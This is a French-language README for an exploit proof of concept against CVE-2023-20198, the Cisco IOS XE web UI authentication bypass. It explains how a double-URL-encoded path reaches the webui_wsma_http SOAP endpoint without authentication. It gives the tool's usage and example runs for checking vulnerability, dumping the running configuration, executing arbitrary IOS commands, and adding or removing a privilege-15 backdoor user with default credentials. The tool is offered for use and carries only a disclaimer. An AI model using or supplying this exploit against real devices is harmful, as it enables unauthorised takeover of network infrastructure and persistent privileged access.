
Exploit PoC pour CVE-2023-20198
PoC d'exploitation pour CVE-2023-20198
Informations sur la vulnérabilité et utilisation de l'exploit fournies par smokeintheshell (voir références)
La gestion des endpoints, du type de contenu HTTP et des en-têtes a été modifiée à partir d'autres POC existants pour fonctionner dans des situations où d'autres exploits échouent.
CVE-2023-20198 est caractérisée par une validation de chemin incorrecte permettant de contourner le filtrage Nginx pour atteindre le point de terminaison web webui_wsma_http sans nécessiter d'authentification.
En contournant l'authentification au point de terminaison, un attaquant peut exécuter des commandes Cisco IOS arbitraires ou appliquer des modifications de configuration avec les privilèges de niveau 15.
L'enquête de Cisco sur l'exploitation active de la vulnérabilité précédemment non divulguée a révélé que des acteurs malveillants ont d'abord exploité CVE-2023-20198 pour ajouter un nouvel utilisateur avec le niveau de privilège 15. D'autres attaques ont impliqué l'exploitation de CVE-2023-20273 pour escalader vers l'utilisateur root du système d'exploitation Linux sous-jacent afin de faciliter l'implantation.
Ce PoC exploite CVE-2023-20198 pour utiliser deux points de terminaison XML SOAP différents:
Les options de vérification de vulnérabilité, de configuration et d'exécution de commandes ciblent toutes le point de terminaison SOAP cisco:wsma-exec pour insérer des commandes dans la balise d'élément execCLI.
L'option d'ajout d'utilisateur cible le point de terminaison SOAP cisco:wsma-config pour appliquer une modification de configuration et ajouter le compte de privilège 15. Ce point de terminaison pourrait être [ab]usé pour effectuer d'autres modifications de configuration, mais cela dépasse le cadre de ce PoC.
L'abus du point de terminaison SOAP cisco:wsma-exec provient du template nuclei
L'abus du point de terminaison SOAP cisco:wsma-config provient du PoC d'horizon3ai
Note : Je n'ai mené aucune des recherches originales ni développé le PoC pour cette CVE. Voir la section références pour les crédits.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Pour vérifier la présence de CVE-2023-20198, -c tentera d'exploiter la vulnérabilité pour exécuter uname -a
Exemple :
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'option -g exécute sh run pour récupérer la configuration en cours
Exemple :
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Des commandes Cisco IOS arbitraires peuvent être exécutées avec l'option -e.
Une extrême prudence doit être utilisée lors de l'utilisation de cette option pour effectuer des modifications de configuration. Il n'y a pas de validation des entrées et les modifications sont appliquées immédiatement à la configuration en cours.
Exemple :
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'option -a peut être utilisée pour créer un nouveau compte utilisateur de privilège 15, en spécifiant éventuellement le nom du compte et le mot de passe avec -u et -p respectivement.
Exemple :
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'option -d peut être utilisée pour supprimer un compte utilisateur de l'appareil, et respecte le nom d'utilisateur spécifié avec -u.
Des précautions doivent être prises pour s'assurer de ne pas supprimer un compte légitime.
Cette option a été ajoutée pour les cas où l'accès shell/webui à un Cisco exploité ne peut pas être obtenu. Il a été observé que l'ajout d'un utilisateur de privilège 15 n'accorde pas l'accès webui et pourrait laisser des artefacts d'exploitation sur les hôtes.
Avis Cisco
Recherche horizon3ai sur CVE-2023-20198
PoC horizon3ai pour CVE-2023-20198
Template nuclei pour CVE-2023-20198 (Auteurs : iamnoooob, rootxharsh, pdresearch)
PoC LeakIX pour CVE-2023-20273
PoC smokeintheshell pour CVE-2023-20198
Le code contenu dans ce projet est destiné uniquement à la recherche et à une utilisation sur des systèmes pour lesquels l'utilisateur a une autorisation explicite.
L'auteur de ce projet n'est pas responsable des mauvais usages du logiciel.
Utilisez de manière responsable et ne faites pas de mal